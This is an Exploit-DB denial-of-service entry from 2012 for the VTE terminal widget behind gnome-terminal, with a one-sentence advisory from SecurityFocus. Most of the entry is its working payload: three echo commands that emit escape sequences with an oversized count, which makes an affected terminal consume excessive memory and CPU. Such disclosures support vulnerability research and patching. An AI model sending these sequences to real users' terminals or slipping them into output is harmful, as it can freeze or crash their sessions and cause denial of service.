gnome-terminal (vte) VteTerminal - Escape Sequence Parsing Remote Denial of Service

EDB-ID:

37477


Type:

dos


Platform:

Linux

Date:

2012-07-03


source: https://www.securityfocus.com/bid/54281/info

VTE is prone to a vulnerability that may allow attackers to cause an affected application to consume excessive amounts of memory and CPU time, resulting in a denial-of-service condition. 

echo -en "\e[2147483647L"
echo -en "\e[2147483647M"
echo -en "\e[2147483647P"